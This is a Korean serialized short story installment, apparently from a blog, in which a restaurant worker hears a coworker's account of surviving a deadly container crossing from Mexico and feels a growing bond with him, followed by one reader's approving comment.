아픈다리 서로 기대며 (13)

그 배신감과 좌절, 허탈감이 그를 엄청나게 힘겹게 하고 있음을 알고 나니 선미는 뭐라고 위로할 엄두조차 나지 않았다. 경우가 다르다고는 하지만 명준도 이런 배신감을 가졌었을까, 그렇다면 가해자가 되게 되면서 한편으로 위로를 해야 하는, 선미로서는 혼돈스럽기만 하다.

 

선미와 죠바니가 비슷한 시기에 가장 민감한 문제가 겹치는 바람에 한동안 같이 일하고는 있었지만 서로가 각자 안으로만 파고들 수밖에 없었다. 각자 담배만 태울 뿐 서로 대화가 별로 없었다. 마르코에게서 죠바니의 사정을 알고 나니 그 동안 못다 들은 죠바니의 이야기가 더욱 궁금해진다. 궁금하기 보다는 같이 있어줘야겠다는 의무감 같은 게 자신도 모르게 자리하고 있었다. 선미의 사정을 알 턱이 없는 죠바니에게서 그에 대한 나머지 이야기를 듣겠다는 것은 너무 이기적인 것은 아닐까, 가까워지기 위한 요식이었을까,

아니면 이런 게 연민이라고 해야 될까,

주방에서 일하고 있는 죠바니를 똑바로 바라볼 수가 없을 것 같았다. 담배 피우러 가는 시간을 틈타서 ‘밤에 일마치고 건너편 샤핑몰의 ‘후터스’라는 생맥주 집으로 나올 수 있겠느냐‘ 고 넌지시 물었다.

눈이 둥그레지며 ’왜 그러느냐‘고 한다. ’맥주 한잔 사주고 싶어서 그런다‘ 고 했더니 머뭇거리다가 나오겠단다.

밤 11시인데도 생맥주집 후터스는 음악소리와 함께 사람들이 꽉 차 있었다. 핫팬츠에 유난히 가슴이 덩실하게 큰 아가씨들이 롤러스케이트를 타고 번잡한 테이블 사이를 오간다. 우선 맥주 한잔을 시켜 놓고 기다리고 있는데 마침 죠바니가 들어왔다. 주방에서 일할 때와는 사뭇 다른 차림이었다. 원래 곱상하면서도 이목구비가 뚜렷해서 한눈에 미남이다.

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주문을 받으려고 아가씨가 고개를 앞으로 수그리니 터질 것 같은 가슴이 눈앞에 어른거리자 죠바니의 시선이 잠시 멈췄다가 금방 고개를 돌리면서 선미더러 시키라는 듯 턱짓을 했다. 인종이 다르면 나이를 오산하는 것이 다반사이다. 특히 동양 사람들에게는 보통 5살, 열 살까지도 낮춰서 보는 게 일반적이어서 두 사람을 연인으로 보았을 수도 있다고 선미는 잠시 엉뚱한 생각도 해봤다.

죠바니는 짐짓 내숭인지 아니면 한 잔의 맥주가 마음을 조금씩 열고 있는지 어디까지 이야기 했느냐고 되물었다. 컨테이너에서 어떻게 되었는지 거기까지만 했다고 했다.

 

그날 컨테이너가 도착한 곳은 16시간을 달려서 고메즈라는 멕시코 중부 사막 한가운데 있는 소도시였단다. 나중에 들으니 3백여 명 중에서 20여명이 죽고, 나머지도 모두 탈수증세로 실신하거나 간신히 숨만 붙어 있는 상황이었는데 죠바니도 기절을 해서 그날 밤에야 겨우 의식을 찾았다고 한다. 똥으로 범벅이 된 옷들을 그대로 입고 모텔방에 누워있더란다. 그때의 이야기는 생각하기도 싫다는 듯이 고개를 심하게 부르르 떨었다. 그런 그에게서 아내마저 떠나버렸으니 … …

컨테이너 2

 

 

 

이야기를 마친 죠바니의 손을 선미는 자신도 모르게 감싸 쥐었다.

 

누가 누구를 위로해야 할지 모르는 상황이었지만 그렇게라도 해서 안정을 되찾았으면 하는 조그만 바램으로 그랬는지도 모른다.

국경선 때문에 사람의 마음과 혼까지 갈라놓은 기막힌 사연은 선미라고 다를까만, 이제 선미차례라는 듯 잠시 침묵이 흘렀지만 선미는 아직도 그렇게 하고 싶지 않았다.

주차장으로 나와서 서로 담배 하나씩를 물고 여름 밤하늘을 쳐다보았다. 날리는 담배 연기 사이로 수많은 별들이 높은 밤하늘에 떠 있었다. 저 하늘의 별에서 이곳을 내려다보면 국경이라는 게 무슨 의미가 있을까, 그리고 그게 보이기나 할까, 잠시 부질없는 생각을 해 보았다.

집으로 돌아오는데 문득 명준이 옆에 와있다는 착각이 들었다. 명준의 심정도 이런 것이었을까, 얼마나 분노하고, 얼마나 애태웠을까, 그냥 이대로 이 사람을 내려줄 수가 없다는 생각이 들었다. 차를 갓길에 세웠다. 어두운 그늘 속에 말없고 조용한 음영이 딱 명준이었다. 힘껏 끌어안았다. 그렇게 한동안을 안고 있어야만 했다.

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다음날 식당에서 죠바니를 마주치는 것이 왠지 좀 어색할 것 같았으나 의외로 어제까지와는 달리 많이 활달해져 있다. 다소 안심이 된다. 평소 지극히 말이 짧은 사람들은 속내를 알고 나면 의외로 단순하기 그지없을 때가 있다. 남편 명준이 그랬다. 뭔가 베일에 싸인 듯하기도 해서, ‘얼마나 로맨틱 하느냐,‘고 여동생은 형부인 명준의 조용함을 늘 동경하곤 했었다. 죠바니도 나이만 어릴 뿐 워낙 조용하고 시비가 없는 사람이라서 정신연령은 훌쩍 높아 보인다. 바로 한 살 아래인 마르코에 비하면 어른 같았다.

그런 조용함 속에 그렇게 안타까운 사연이 있다는 것을 알고 나니 일하면서 간간이 마주칠 때마다 가슴이 짠해져왔다. 그것은 어쩌면 말 못할 자신의 설움이기도 했다.

마음의 내면을 조금씩 빗겨간 사람끼리 같은 곳에 일을 한다는 것이 이런 것인가, 식당에서 하는 일상이 새로워만 갔다. 몸은 홀에 있는데 마음은 주방으로 달려갔고, 필요 이상으로 주방쪽에 쫑긋해하는 자신에게 흠칫 놀랐지만 마음이 가는 데야 어쩔 수 없는 노릇이다.

그건 선미 혼자만의 감정이 아니라는 걸 여자는 안다. 어느 누구도 눈치 채지 못할 교감의 공간속을 자유롭게 드나들 수 있었던 것도 서로의 판이한 환경이 도움을 주고 있었다. 어느 누구도 두 사람 사이를 의심하지 못했다. 그래서 마음이 더 차분할 수가 있었다.

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One Reply to “아픈다리 서로 기대며 (13)”

  1. 소리 꾼과 이야기 꾼은 타고난다고 하드만요
    선미가 죠바니와의 인연이 되는 과정을 명준과의 회상으로 덧칠하는 장면이
    성에 이끌리어 타락쪽으로 중심이 넘어가지않는 것은 작가의 교묘함과 숨은 실력을 보는 것 같아
    흐뭇합니다
    처음엔 스토리가 너무 상세히 서술함으로써 독자가 가져야 할 공간을 작가가 점령하지 않나하는
    우려가 있었지만 물흐르 듯이 풀어 나가는 것이 타고난 이야기 꾼 같습니다
    14편이 기다려집니다